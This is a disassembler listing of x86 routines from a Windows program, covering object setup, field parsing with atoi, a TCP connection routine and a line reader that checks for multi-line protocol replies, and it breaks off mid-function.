var_3C		= byte ptr -3Ch
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43BCD0h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	10h
		push	3
		push	14h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		mov	esi, ecx
		push	5
		lea	eax, [esp+74h+var_3C]
		push	12h
		push	eax
		mov	dword ptr [esi+118h], 0
		call	sub_13ABDB5
		add	esp, 38h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_13ABBE4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447168
		call	sub_13AB991
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+50h+var_48]
		mov	[esp+50h+var_10], edi
		call	sub_13AB626
		push	0
		push	5
		push	12h
		push	7
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	edx, [esp+80h+var_48]
		push	12h
		push	edx
		call	sub_13ABDB5
		add	esp, 38h
		push	esi
		mov	ecx, eax
		mov	[esp+54h+var_10], 1
		call	sub_13ABBE4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+5Ch+var_54]
		mov	[esp+5Ch+var_1C], edi
		call	sub_13AB626
		push	0
		push	10h
		push	14h
		push	14h
		push	8
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	ecx, [esp+90h+var_54]
		push	12h
		push	ecx
		call	sub_13ABDB5
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	[esp+60h+var_1C], 2
		call	sub_13ABBE4
		lea	edx, [esi+60h]
		push	eax
		push	edx
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+68h+var_60]
		mov	[esp+68h+var_28], edi
		call	sub_13AB626
		push	0
		push	13h
		push	0Bh
		push	3
		push	0Fh
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	eax, [esp+0A0h+var_60]
		push	12h
		push	eax
		call	sub_13ABDB5
		add	esp, 40h
		push	esi
		mov	ecx, eax
		mov	[esp+6Ch+var_28], 3
		call	sub_13ABBE4
		lea	ecx, [esi+8Eh]
		push	eax
		push	ecx
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+74h+var_6C]
		mov	[esp+74h+var_34], edi
		call	sub_13AB626
		push	0
		push	49h
		push	13h
		push	0Bh
		push	3
		push	0Fh
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	edx, [esp+0B0h+var_6C]
		push	12h
		push	edx
		call	sub_13ABDB5
		add	esp, 44h
		push	esi
		mov	ecx, eax
		mov	[esp+78h+var_34], 4
		call	sub_13ABBE4
		push	eax
		lea	eax, [esi+0BCh]
		push	eax
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+80h+var_78]
		mov	[esp+80h+var_40], edi
		call	sub_13AB626
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	ecx, [esp+0B4h+var_60]
		push	12h
		push	ecx
		call	sub_13ABDB5
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	[esp+84h+var_40], 5
		call	sub_13ABBE4
		add	esi, 0EAh
		push	eax
		push	esi
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+8Ch+var_6C]
		mov	[esp+8Ch+var_4C], edi
		call	sub_13AB626
		mov	ecx, [esp+8Ch+var_54]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
sub_13D5F90	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D6280	proc near		; CODE XREF: sub_13AC42Cj

var_158		= byte ptr -158h
var_14C		= dword	ptr -14Ch
var_144		= byte ptr -144h
var_140		= byte ptr -140h
var_134		= byte ptr -134h
var_130		= byte ptr -130h
var_12C		= byte ptr -12Ch
var_118		= byte ptr -118h
var_114		= byte ptr -114h
var_110		= byte ptr -110h
var_108		= byte ptr -108h
var_104		= byte ptr -104h
var_100		= byte ptr -100h
var_FC		= dword	ptr -0FCh
var_F8		= byte ptr -0F8h
var_F0		= dword	ptr -0F0h
var_E8		= dword	ptr -0E8h
var_E4		= byte ptr -0E4h
var_E0		= byte ptr -0E0h
var_DC		= byte ptr -0DCh
var_D8		= byte ptr -0D8h
var_CC		= byte ptr -0CCh
var_C8		= byte ptr -0C8h
var_C4		= byte ptr -0C4h
var_B8		= byte ptr -0B8h
var_B4		= byte ptr -0B4h
var_A8		= dword	ptr -0A8h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_94		= dword	ptr -94h
var_90		= byte ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_80		= byte ptr -80h
var_7C		= dword	ptr -7Ch
var_70		= dword	ptr -70h
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_5C		= byte ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= byte ptr -40h
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	43BDA4h
		push	eax
		mov	large fs:0, esp
		sub	esp, 68h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+80h+arg_0]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+4]
		call	sub_13ABBE4
		push	eax
		mov	ecx, edi
		call	sub_13AB6EE
		or	ebx, 0FFFFFFFFh
		test	eax, eax
		jnz	loc_13D63E7
		push	0A1h
		call	near ptr 13E0C1Ah
		add	esp, 4
		mov	[esp+88h], eax
		xor	edi, edi
		cmp	eax, edi
		mov	[esp+88h+var_8], edi
		jz	short loc_13D62ED
		mov	ecx, eax
		call	sub_13ABA5E
		mov	edi, eax


loc_13D62ED:				; CODE XREF: sub_13D6280+62j
		push	offset dword_443600
		lea	eax, [esp+8Ch+var_40]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	[esp+94h+var_8], ebx
		mov	[edi+99h], ebp
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+94h+var_14], 1
		call	sub_13ABBE4
		push	eax
		call	atoi	; atoi
		add	esp, 4
		lea	ecx, [esp+94h+var_4C]
		mov	[edi+3Bh], eax
		mov	[esp+94h+var_14], ebx
		call	sub_13AB626
		push	offset dword_443600
		lea	ecx, [esp+98h+var_4C]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_13ABAAE
		push	eax
		lea	ecx, [edi+43h]
		mov	[esp+0A4h+var_20], 2
		call	sub_13AC3BE
		lea	ecx, [esp+0A4h+var_5C]
		mov	[esp+0A4h+var_24], ebx
		call	sub_13AB626
		push	offset dword_443600
		lea	edx, [esp+0A8h+var_5C]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+0B0h+var_30], 3
		call	sub_13ABBE4
		push	eax
		call	atoi	; atoi
		add	esp, 4
		lea	ecx, [esp+0B0h+var_68]
		mov	[edi+3Fh], eax
		mov	[esp+0B0h+var_30], ebx
		call	sub_13AB626
		lea	eax, [esi+69h]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_13AC3BE
		mov	cl, [esi+93h]
		mov	[edi+97h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+98h], dl
		call	sub_13AB7D4


loc_13D63E7:				; CODE XREF: sub_13D6280+3Dj
		lea	ecx, [ebp+32h]
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13D6517
		push	9Dh
		call	near ptr 13E0C1Ah
		add	esp, 4
		mov	[esp+0B8h+var_30], eax
		test	eax, eax
		mov	[esp+0B8h+var_38], 4
		jz	short loc_13D642E
		mov	ecx, eax
		call	sub_13ABC89
		mov	edi, eax
		jmp	short loc_13D6430
; ---------------------------------------------------------------------------


loc_13D642E:				; CODE XREF: sub_13D6280+1A1j
		xor	edi, edi


loc_13D6430:				; CODE XREF: sub_13D6280+1ACj
		push	offset dword_443600
		lea	eax, [esp+0BCh+var_70]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	[esp+0C4h+var_38], ebx
		mov	[edi+99h], ebp
		call	sub_13ABAAE
		push	eax
		lea	ecx, [edi+58h]
		mov	[esp+0C8h+var_44], 5
		call	sub_13AC3BE
		lea	ecx, [esp+0C8h+var_80]
		mov	[esp+0C8h+var_48], ebx
		call	sub_13AB626
		push	offset dword_443600
		lea	ecx, [esp+0CCh+var_80]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_13ABAAE
		push	eax
		lea	ecx, [edi+6Dh]
		mov	[esp+0D8h+var_54], 6
		call	sub_13AC3BE
		lea	ecx, [esp+0D8h+var_90]
		mov	[esp+0D8h+var_58], ebx
		call	sub_13AB626
		push	offset dword_443600
		lea	edx, [esp+0DCh+var_90]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_13ABAAE
		push	eax
		lea	ecx, [edi+82h]
		mov	[esp+0E8h+var_64], 7
		call	sub_13AC3BE
		lea	ecx, [esp+0E8h+var_A0]
		mov	[esp+0E8h+var_68], ebx
		call	sub_13AB626
		lea	eax, [esi+69h]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_13AC3BE
		mov	cl, [esi+93h]
		mov	[edi+97h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+98h], dl
		call	sub_13AB7D4


loc_13D6517:				; CODE XREF: sub_13D6280+17Aj
		lea	ecx, [ebp+60h]
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13D6640
		push	0A2h
		call	near ptr 13E0C1Ah
		add	esp, 4
		mov	[esp+0F0h+var_68], eax
		test	eax, eax
		mov	[esp+0F0h+var_70], 8
		jz	short loc_13D655E
		mov	ecx, eax
		call	sub_13ABCDE
		mov	edi, eax
		jmp	short loc_13D6560
; ---------------------------------------------------------------------------


loc_13D655E:				; CODE XREF: sub_13D6280+2D1j
		xor	edi, edi


loc_13D6560:				; CODE XREF: sub_13D6280+2DCj
		push	offset dword_443600
		lea	eax, [esp+0F4h+var_A8]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	[esp+0FCh+var_70], ebx
		mov	[edi+99h], ebp
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+0FCh+var_7C], 9
		call	sub_13ABBE4
		push	eax
		call	atoi	; atoi
		add	esp, 4
		lea	ecx, [esp+0FCh+var_B4]
		mov	[edi+3Bh], eax
		mov	[esp+0FCh+var_7C], ebx
		call	sub_13AB626
		push	offset dword_443600
		lea	ecx, [esp+100h+var_B4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_13ABAAE
		push	offset dword_443964
		mov	ecx, eax
		mov	[esp+10Ch+var_88], 0Ah
		call	sub_13AB900
		test	eax, eax
		lea	ecx, [esp+10Ch+var_C4]
		mov	[esp+10Ch+var_8C], ebx
		setz	[esp+10Ch+var_84]
		call	sub_13AB626
		mov	al, [esp+10Ch+var_84]
		test	al, al
		jz	short loc_13D660E
		mov	byte ptr [edi+9Dh], 1
		jmp	short loc_13D6615
; ---------------------------------------------------------------------------


loc_13D660E:				; CODE XREF: sub_13D6280+383j
		mov	byte ptr [edi+9Dh], 0


loc_13D6615:				; CODE XREF: sub_13D6280+38Cj
		lea	edx, [esi+69h]
		lea	ecx, [edi+26h]
		push	edx
		call	sub_13AC3BE
		mov	al, [esi+93h]
		mov	[edi+97h], al
		mov	cl, [esi+94h]
		mov	[edi+98h], cl
		mov	ecx, edi
		call	sub_13AB7D4


loc_13D6640:				; CODE XREF: sub_13D6280+2AAj
		lea	ecx, [ebp+8Eh]
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13D670D
		push	0A1h
		call	near ptr 13E0C1Ah
		add	esp, 4
		mov	[esp+114h+var_8C], eax
		test	eax, eax
		mov	[esp+114h+var_94], 0Bh
		jz	short loc_13D668A
		mov	ecx, eax
		call	sub_13AC56C
		mov	edi, eax
		jmp	short loc_13D668C
; ---------------------------------------------------------------------------


loc_13D668A:				; CODE XREF: sub_13D6280+3FDj
		xor	edi, edi


loc_13D668C:				; CODE XREF: sub_13D6280+408j
		push	offset dword_443600
		lea	edx, [esp+118h+var_CC]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	edx
		mov	ecx, esi
		mov	[esp+120h+var_94], ebx
		mov	[edi+99h], ebp
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+120h+var_A0], 0Ch
		call	sub_13ABBE4
		push	eax
		call	atoi	; atoi
		add	esp, 4
		lea	ecx, [esp+120h+var_D8]
		mov	[edi+3Bh], eax
		mov	[esp+120h+var_A0], ebx
		call	sub_13AB626
		lea	eax, [esi+69h]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_13AC3BE
		mov	cl, [esi+93h]
		mov	[edi+97h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+98h], dl
		call	sub_13AB7D4


loc_13D670D:				; CODE XREF: sub_13D6280+3D6j
		lea	ecx, [ebp+0BCh]
		call	sub_13AB8D3
		lea	edi, [esi+7Eh]
		push	eax
		mov	ecx, edi
		mov	[esp+128h+var_9C], edi
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13D6939
		lea	ecx, [esp+128h+var_F8]
		call	sub_13AB824
		lea	ecx, [esp+128h+var_110]
		mov	[esp+128h+var_A8], 0Dh
		call	sub_13AB824
		push	offset dword_443600
		lea	eax, [esp+12Ch+var_E0]
		push	2
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+134h+var_A8], 0Eh
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+134h+var_B4], 0Fh
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esp+138h+var_104]
		call	sub_13ABE87
		lea	ecx, [esp+138h+var_F0]
		mov	[esp+138h+var_B8], 0Eh
		call	sub_13AB626
		push	offset dword_443600
		lea	ecx, [esp+13Ch+var_F0]
		push	3
		push	ecx
		mov	ecx, esi
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+144h+var_C4], 10h
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esp+148h+var_12C]
		call	sub_13ABE87
		lea	ecx, [esp+148h+var_100]
		mov	[esp+148h+var_C8], 0Eh
		call	sub_13AB626
		lea	ecx, [esp+148h+var_118]
		call	sub_13AB8D3
		cmp	eax, offset byte_446F80
		jnz	short loc_13D67EF
		push	offset dword_445410
		lea	ecx, [esp+14Ch+var_130]
		call	sub_13ABE87


loc_13D67EF:				; CODE XREF: sub_13D6280+55Fj
		lea	ecx, [esp+14Ch+var_134]
		call	sub_13AB8D3
		cmp	eax, offset byte_446F80
		jnz	short loc_13D680D
		push	offset byte_446F80
		lea	ecx, [esp+150h+var_134]
		call	sub_13ABE87


loc_13D680D:				; CODE XREF: sub_13D6280+57Dj
		push	offset dword_443600
		lea	edx, [esp+154h+var_108]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_13ABAAE
		mov	edi, eax
		lea	ecx, [esp+15Ch+var_144]
		mov	[esp+15Ch+var_DC], 11h
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esp+160h+var_12C]
		call	sub_13ABBE4
		push	eax
		mov	ecx, edi
		call	sub_13ABBE4
		mov	edi, atoi
		push	eax
		call	edi ; atoi
		add	esp, 4
		lea	ecx, [esi+69h]
		push	eax
		push	offset dword_4453CC
		call	sub_13AB8D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_E19CC5
		call	sub_13ABC48
		add	esp, 20h
		lea	ecx, [esp+15Ch+var_114]
		mov	[esp+15Ch+var_DC], 0Eh
		call	sub_13AB626
		lea	ecx, [esp+15Ch+var_144]
		call	sub_13ABBE4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+174h+var_14C], esp
		push	eax
		call	sub_13ABC61
		lea	ecx, [esp+178h+var_130]
		mov	[esp+178h+var_E0], 12h
		call	sub_13ABBE4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+190h+var_14C], esp
		push	eax
		call	sub_13ABC61
		push	offset dword_443600
		lea	edx, [esp+198h+var_104]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+1A0h+var_E4], 13h
		call	sub_13ABAAE
		mov	ecx, eax
		mov	byte ptr [esp+1A0h+var_F0], 15h
		call	sub_13ABBE4
		push	eax
		call	edi ; atoi
		add	esp, 4
		push	eax
		call	sub_13AC017
		add	esp, 34h
		lea	ecx, [esp+170h+var_110]
		mov	byte ptr [esp+170h+var_F0], 0Eh
		call	sub_13AB626
		lea	ecx, [esp+170h+var_158]
		mov	byte ptr [esp+170h+var_F0], 0Dh
		call	sub_13AB626
		lea	ecx, [esp+170h+var_140]
		mov	[esp+170h+var_F0], ebx
		call	sub_13AB626
		mov	edi, [esp+170h+var_E8]


loc_13D6939:				; CODE XREF: sub_13D6280+4ACj
		lea	ecx, [ebp+0EAh]
		call	sub_13ABBE4
		push	eax
		mov	ecx, edi
		call	sub_13AB6EE
		test	eax, eax
		jnz	short loc_13D6956
		mov	[ebp+11Ch], al


loc_13D6956:				; CODE XREF: sub_13D6280+6CEj
		mov	ecx, [esp+174h+var_FC]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 74h
		retn	4
sub_13D6280	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 1C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D6B30	proc near		; CODE XREF: sub_13AC5A8j
		push	ecx
		mov	edx, ds:dword_447A9D
		push	esi
		mov	esi, ecx
		mov	eax, [esi+99h]
		mov	ecx, [eax+118h]
		cmp	edx, ecx
		jl	short loc_13D6B51
		inc	ecx
		mov	[eax+118h], ecx


loc_13D6B51:				; CODE XREF: sub_13D6B30+18j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+8]
		mov	eax, [esi+99h]
		mov	[esp+4], esi
		mov	ecx, [eax+118h]
		dec	ecx
		mov	[eax+118h], ecx
		lea	ecx, [esp+4]
		push	ecx
		mov	ecx, offset byte_E2AAEB
		call	sub_13AB60D
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
sub_13D6B30	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D6BB0	proc near		; CODE XREF: sub_13AC206j

var_190		= byte ptr -190h

		sub	esp, 190h
		lea	eax, [esp+190h+var_190]
		push	eax
		push	101h
		call	near ptr 13E136Eh
		test	eax, eax
		jz	short loc_13D6BE2
		mov	ecx, _iob
		push	eax
		add	ecx, 40h
		push	offset dword_445424
		push	ecx
		call	fprintf	; fprintf
		add	esp, 0Ch


loc_13D6BE2:				; CODE XREF: sub_13D6BB0+17j
		add	esp, 190h
		retn
sub_13D6BB0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D6C00	proc near		; CODE XREF: sub_13AC17Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_13D6C13
		mov	ecx, [eax+18h]
		test	ecx, ecx
		jnz	short loc_13D6C13
		add	eax, 44h
		retn
; ---------------------------------------------------------------------------


loc_13D6C13:				; CODE XREF: sub_13D6C00+6j
					; sub_13D6C00+Dj
		xor	eax, eax
		retn
sub_13D6C00	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D6C30	proc near		; CODE XREF: sub_13ABE69j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 14h
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ebx
		push	ebp
		mov	[esp+1Ch+var_C], eax
		push	esi
		push	edi
		mov	[esp+24h+var_8], eax
		push	ecx
		mov	[esp+28h+var_14], 1
		mov	[esp+28h+var_4], eax
		mov	word ptr [esp+28h+var_10], 2
		call	_mbsdup	; _mbsdup
		mov	ebp, eax
		push	3Ah
		push	ebp
		call	strchr	; strchr
		mov	esi, eax
		xor	ebx, ebx
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_13D6CA4
		push	offset dword_445488
		push	offset dword_444424
		call	near ptr 13E13B6h
		cmp	eax, ebx
		jnz	short loc_13D6CF8
		push	offset dword_445478
		call	perror	; perror
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_13D6CA4:				; CODE XREF: sub_13D6C30+47j
		mov	[esi], bl
		mov	eax, __mb_cur_max
		inc	esi
		cmp	dword ptr [eax], 1
		jle	short loc_13D6CC2
		movsx	ecx, byte ptr [esi]
		push	4
		push	ecx
		call	_isctype	; _isctype
		add	esp, 8
		jmp	short loc_13D6CD2
; ---------------------------------------------------------------------------


loc_13D6CC2:				; CODE XREF: sub_13D6C30+7Fj
		mov	eax, _pctype
		movsx	edx, byte ptr [esi]
		mov	ecx, [eax]
		mov	al, [ecx+edx*2]
		and	eax, 4


loc_13D6CD2:				; CODE XREF: sub_13D6C30+90j
		cmp	eax, ebx
		jz	short loc_13D6CED
		push	esi
		call	atoi	; atoi
		add	esp, 4
		push	eax
		call	near ptr 13E1356h
		mov	word ptr [esp+24h+var_10+2], ax
		jmp	short loc_13D6D01
; ---------------------------------------------------------------------------


loc_13D6CED:				; CODE XREF: sub_13D6C30+A4j
		push	offset dword_445488
		push	esi
		call	near ptr 13E13B6h


loc_13D6CF8:				; CODE XREF: sub_13D6C30+5Aj
		mov	dx, [eax+8]
		mov	word ptr [esp+24h+var_10+2], dx


loc_13D6D01:				; CODE XREF: sub_13D6C30+BBj
		push	ebp
		call	near ptr 13E1314h
		cmp	eax, 0FFFFFFFFh
		mov	[esp+24h+var_C], eax
		jnz	short loc_13D6D4D
		push	ebp
		call	near ptr 13E1308h
		cmp	eax, ebx
		jnz	short loc_13D6D32
		push	offset dword_445468
		call	perror	; perror
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_13D6D32:				; CODE XREF: sub_13D6C30+E8j
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		mov	edx, ecx
		lea	edi, [esp+24h+var_C]
		mov	esi, [eax]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb


loc_13D6D4D:				; CODE XREF: sub_13D6C30+DEj
		push	ebp
		mov	ebp, free
		call	ebp ; free
		add	esp, 4
		push	6
		push	1
		push	2
		call	near ptr 13E135Ch
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_13D6D83
		push	offset dword_445460
		call	perror	; perror
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_13D6D83:				; CODE XREF: sub_13D6C30+139j
		lea	eax, [esp+24h+var_14]
		push	4
		push	eax
		push	4
		push	0FFFFh
		push	edi
		call	near ptr 13E13A4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_13D6DA3
		push	offset dword_445450
		jmp	short loc_13D6DD7
; ---------------------------------------------------------------------------


loc_13D6DA3:				; CODE XREF: sub_13D6C30+16Aj
		lea	ecx, [esp+24h+var_10]
		push	10h
		push	ecx
		push	edi
		call	near ptr 13E1362h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_13D6DBC
		push	offset dword_445250
		jmp	short loc_13D6DD7
; ---------------------------------------------------------------------------


loc_13D6DBC:				; CODE XREF: sub_13D6C30+183j
		push	144h
		push	1
		call	calloc	; calloc
		mov	esi, eax
		add	esp, 8
		cmp	esi, ebx
		jnz	short loc_13D6DF0
		push	offset dword_445448


loc_13D6DD7:				; CODE XREF: sub_13D6C30+171j
					; sub_13D6C30+18Aj
		call	perror	; perror
		add	esp, 4
		push	edi
		call	near ptr 13E1326h
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_13D6DF0:				; CODE XREF: sub_13D6C30+1A0j
		push	2000h
		call	malloc	; malloc
		add	esp, 4
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_13D6E29
		push	offset dword_445448
		call	perror	; perror
		add	esp, 4
		push	edi
		call	near ptr 13E1326h
		push	esi
		call	ebp ; free
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_13D6E29:				; CODE XREF: sub_13D6C30+1D3j
		push	esi
		push	32h
		mov	[esi+8], edi
		mov	[esi+18h], ebx
		mov	[esi+1Ch], ebx
		mov	dword ptr [esi+24h], 1
		mov	[esi+30h], ebx
		mov	[esi+2Ch], ebx
		mov	[esi+28h], ebx
		mov	[esi+34h], ebx
		mov	[esi+38h], ebx
		mov	[esi+40h], ebx
		mov	[esi+3Ch], ebx
		call	sub_13D6F30
		add	esp, 8
		test	eax, eax
		jnz	short loc_13D6E79
		push	edi
		call	near ptr 13E1326h
		mov	edx, [esi+14h]
		push	edx
		call	ebp ; free
		push	esi
		call	ebp ; free
		add	esp, 8
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_13D6E79:				; CODE XREF: sub_13D6C30+22Bj
		mov	eax, [esp+24h+arg_4]
		pop	edi
		mov	[eax], esi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 14h
		retn
sub_13D6C30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D6F30	proc near		; CODE XREF: sub_13D6C30+221p
					; sub_13D75C0+C6p ...

var_8		= byte ptr -8
var_5		= byte ptr -5
var_4		= byte ptr -4
arg_0		= byte ptr  4
arg_4		= dword	ptr  8

		sub	esp, 8
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+18h+arg_4]
		push	edi
		push	100h
		lea	esi, [edi+44h]
		push	esi
		call	sub_13D7070
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_13D6F6A


loc_13D6F52:				; CODE XREF: sub_13D6F30+8Ej
					; sub_13D6F30+D9j
		push	offset dword_44548C
		call	perror	; perror
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_13D6F6A:				; CODE XREF: sub_13D6F30+20j
		mov	eax, ds:dword_102C584
		mov	ebx, fprintf
		cmp	eax, 1
		jle	short loc_13D6F8E
		mov	eax, _iob
		push	esi
		add	eax, 40h
		push	offset dword_4435F0
		push	eax
		call	ebx ; fprintf
		add	esp, 0Ch


loc_13D6F8E:				; CODE XREF: sub_13D6F30+48j
		cmp	byte ptr [edi+47h], 2Dh
		jnz	short loc_13D700E
		push	3
		lea	ecx, [esp+1Ch+var_8]
		push	esi
		push	ecx
		call	strncpy	; strncpy
		push	edi
		push	100h
		push	esi
		mov	[esp+30h+var_5], 20h
		mov	[esp+30h+var_4], 0
		call	sub_13D7070
		add	esp, 18h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_13D6F52
		mov	ebp, strncmp


loc_13D6FC6:				; CODE XREF: sub_13D6F30+D7j
		cmp	ds:dword_102C584, 1
		jle	short loc_13D6FE4
		mov	edx, _iob
		push	esi
		add	edx, 40h
		push	offset dword_4435F0
		push	edx
		call	ebx ; fprintf
		add	esp, 0Ch


loc_13D6FE4:				; CODE XREF: sub_13D6F30+9Dj
		lea	eax, [esp+18h+var_8]
		push	4
		push	eax
		push	esi
		call	ebp ; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_13D700E
		push	edi
		push	100h
		push	esi
		call	sub_13D7070
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_13D6FC6
		jmp	loc_13D6F52
; ---------------------------------------------------------------------------


loc_13D700E:				; CODE XREF: sub_13D6F30+62j
					; sub_13D6F30+C3j
		mov	cl, [esi]
